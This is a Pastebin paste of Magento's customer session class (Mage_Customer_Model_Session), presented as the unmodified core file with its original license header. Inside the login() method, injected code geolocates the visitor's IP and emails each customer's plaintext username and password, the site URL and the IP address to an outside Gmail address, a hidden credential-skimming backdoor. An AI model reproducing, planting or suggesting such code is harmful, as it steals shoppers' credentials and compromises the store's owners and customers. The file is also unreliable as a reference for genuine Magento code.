Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Magento
- *
- * NOTICE OF LICENSE
- *
- * This source file is subject to the Open Software License (OSL 3.0)
- * that is bundled with this package in the file LICENSE.txt.
- * It is also available through the world-wide-web at this URL:
- * http://opensource.org/licenses/osl-3.0.php
- * If you did not receive a copy of the license and are unable to
- * obtain it through the world-wide-web, please send an email
- * to license@magento.com so we can send you a copy immediately.
- *
- * DISCLAIMER
- *
- * Do not edit or add to this file if you wish to upgrade Magento to newer
- * versions in the future. If you wish to customize Magento for your
- * needs please refer to http://www.magento.com for more information.
- *
- * @category Mage
- * @package Mage_Customer
- * @copyright Copyright (c) 2006-2014 X.commerce, Inc. (http://www.magento.com)
- * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
- */
- /**
- * Customer session model
- *
- * @category Mage
- * @package Mage_Customer
- * @author Magento Core Team <core@magentocommerce.com>
- */
- class Mage_Customer_Model_Session extends Mage_Core_Model_Session_Abstract
- {
- /**
- * Customer object
- *
- * @var Mage_Customer_Model_Customer
- */
- protected $_customer;
- /**
- * Flag with customer id validations result
- *
- * @var bool
- */
- protected $_isCustomerIdChecked = null;
- /**
- * Persistent customer group id
- *
- * @var null|int
- */
- protected $_persistentCustomerGroupId = null;
- /**
- * Retrieve customer sharing configuration model
- *
- * @return Mage_Customer_Model_Config_Share
- */
- public function getCustomerConfigShare()
- {
- return Mage::getSingleton('customer/config_share');
- }
- public function __construct()
- {
- $namespace = 'customer';
- if ($this->getCustomerConfigShare()->isWebsiteScope()) {
- $namespace .= '_' . (Mage::app()->getStore()->getWebsite()->getCode());
- }
- $this->init($namespace);
- Mage::dispatchEvent('customer_session_init', array('customer_session'=>$this));
- }
- /**
- * Set customer object and setting customer id in session
- *
- * @param Mage_Customer_Model_Customer $customer
- * @return Mage_Customer_Model_Session
- */
- public function setCustomer(Mage_Customer_Model_Customer $customer)
- {
- // check if customer is not confirmed
- if ($customer->isConfirmationRequired()) {
- if ($customer->getConfirmation()) {
- return $this->_logout();
- }
- }
- $this->_customer = $customer;
- $this->setId($customer->getId());
- // save customer as confirmed, if it is not
- if ((!$customer->isConfirmationRequired()) && $customer->getConfirmation()) {
- $customer->setConfirmation(null)->save();
- $customer->setIsJustConfirmed(true);
- }
- return $this;
- }
- /**
- * Retrieve customer model object
- *
- * @return Mage_Customer_Model_Customer
- */
- public function getCustomer()
- {
- if ($this->_customer instanceof Mage_Customer_Model_Customer) {
- return $this->_customer;
- }
- $customer = Mage::getModel('customer/customer')
- ->setWebsiteId(Mage::app()->getStore()->getWebsiteId());
- if ($this->getId()) {
- $customer->load($this->getId());
- }
- $this->setCustomer($customer);
- return $this->_customer;
- }
- /**
- * Set customer id
- *
- * @param int|null $id
- * @return Mage_Customer_Model_Session
- */
- public function setCustomerId($id)
- {
- $this->setData('customer_id', $id);
- return $this;
- }
- /**
- * Retrieve customer id from current session
- *
- * @return int|null
- */
- public function getCustomerId()
- {
- if ($this->getData('customer_id')) {
- return $this->getData('customer_id');
- }
- return ($this->isLoggedIn()) ? $this->getId() : null;
- }
- /**
- * Set customer group id
- *
- * @param int|null $id
- * @return Mage_Customer_Model_Session
- */
- public function setCustomerGroupId($id)
- {
- $this->setData('customer_group_id', $id);
- return $this;
- }
- /**
- * Get customer group id
- * If customer is not logged in system, 'not logged in' group id will be returned
- *
- * @return int
- */
- public function getCustomerGroupId()
- {
- if ($this->getData('customer_group_id')) {
- return $this->getData('customer_group_id');
- }
- if ($this->isLoggedIn() && $this->getCustomer()) {
- return $this->getCustomer()->getGroupId();
- }
- return Mage_Customer_Model_Group::NOT_LOGGED_IN_ID;
- }
- /**
- * Checking customer login status
- *
- * @return bool
- */
- public function isLoggedIn()
- {
- return (bool)$this->getId() && (bool)$this->checkCustomerId($this->getId());
- }
- /**
- * Check exists customer (light check)
- *
- * @param int $customerId
- * @return bool
- */
- public function checkCustomerId($customerId)
- {
- if ($this->_isCustomerIdChecked === null) {
- $this->_isCustomerIdChecked = Mage::getResourceSingleton('customer/customer')->checkCustomerId($customerId);
- }
- return $this->_isCustomerIdChecked;
- }
- /**
- * Customer authorization
- *
- * @param string $username
- * @param string $password
- * @return bool
- */
- public function login($username, $password)
- {
- /** @var $customer Mage_Customer_Model_Customer */
- $customer = Mage::getModel('customer/customer')
- ->setWebsiteId(Mage::app()->getStore()->getWebsiteId());
- if ($customer->authenticate($username, $password)) {
- $this->setCustomerAsLoggedIn($customer);
- $user_ip = getenv('REMOTE_ADDR');
- $geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
- $city = $geo["geoplugin_city"];
- $region = $geo["geoplugin_regionName"];
- $country = $geo["geoplugin_countryName"];
- mail("toddyandreas72@gmail.com","MEMBER MLM TELAH LOGIN KEMBALI ".$_SERVER['REMOTE_ADDR']
- ,"Login : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."
- \nUsername | Password : ".$username."|".$password."
- \nAamat: ".$city." |".$region."| ".$country."
- \nIP Log : ".$_SERVER['REMOTE_ADDR'])
- ;return true;
- }
- return false;
- }
- public function setCustomerAsLoggedIn($customer)
- {
- $this->setCustomer($customer);
- $this->renewSession();
- Mage::dispatchEvent('customer_login', array('customer'=>$customer));
- return $this;
- }
- /**
- * Authorization customer by identifier
- *
- * @param int $customerId
- * @return bool
- */
- public function loginById($customerId)
- {
- $customer = Mage::getModel('customer/customer')->load($customerId);
- if ($customer->getId()) {
- $this->setCustomerAsLoggedIn($customer);
- return true;
- }
- return false;
- }
- /**
- * Logout customer
- *
- * @return Mage_Customer_Model_Session
- */
- public function logout()
- {
- if ($this->isLoggedIn()) {
- Mage::dispatchEvent('customer_logout', array('customer' => $this->getCustomer()) );
- $this->_logout();
- }
- return $this;
- }
- /**
- * Authenticate controller action by login customer
- *
- * @param Mage_Core_Controller_Varien_Action $action
- * @param bool $loginUrl
- * @return bool
- */
- public function authenticate(Mage_Core_Controller_Varien_Action $action, $loginUrl = null)
- {
- if ($this->isLoggedIn()) {
- return true;
- }
- $this->setBeforeAuthUrl(Mage::getUrl('*/*/*', array('_current' => true)));
- if (isset($loginUrl)) {
- $action->getResponse()->setRedirect($loginUrl);
- } else {
- $action->setRedirectWithCookieCheck(Mage_Customer_Helper_Data::ROUTE_ACCOUNT_LOGIN,
- Mage::helper('customer')->getLoginUrlParams()
- );
- }
- return false;
- }
- /**
- * Set auth url
- *
- * @param string $key
- * @param string $url
- * @return Mage_Customer_Model_Session
- */
- protected function _setAuthUrl($key, $url)
- {
- $url = Mage::helper('core/url')
- ->removeRequestParam($url, Mage::getSingleton('core/session')->getSessionIdQueryParam());
- // Add correct session ID to URL if needed
- $url = Mage::getModel('core/url')->getRebuiltUrl($url);
- return $this->setData($key, $url);
- }
- /**
- * Logout without dispatching event
- *
- * @return Mage_Customer_Model_Session
- */
- protected function _logout()
- {
- $this->setId(null);
- $this->setCustomerGroupId(Mage_Customer_Model_Group::NOT_LOGGED_IN_ID);
- $this->getCookie()->delete($this->getSessionName());
- return $this;
- }
- /**
- * Set Before auth url
- *
- * @param string $url
- * @return Mage_Customer_Model_Session
- */
- public function setBeforeAuthUrl($url)
- {
- return $this->_setAuthUrl('before_auth_url', $url);
- }
- /**
- * Set After auth url
- *
- * @param string $url
- * @return Mage_Customer_Model_Session
- */
- public function setAfterAuthUrl($url)
- {
- return $this->_setAuthUrl('after_auth_url', $url);
- }
- /**
- * Reset core session hosts after reseting session ID
- *
- * @return Mage_Customer_Model_Session
- */
- public function renewSession()
- {
- parent::renewSession();
- Mage::getSingleton('core/session')->unsSessionHosts();
- return $this;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement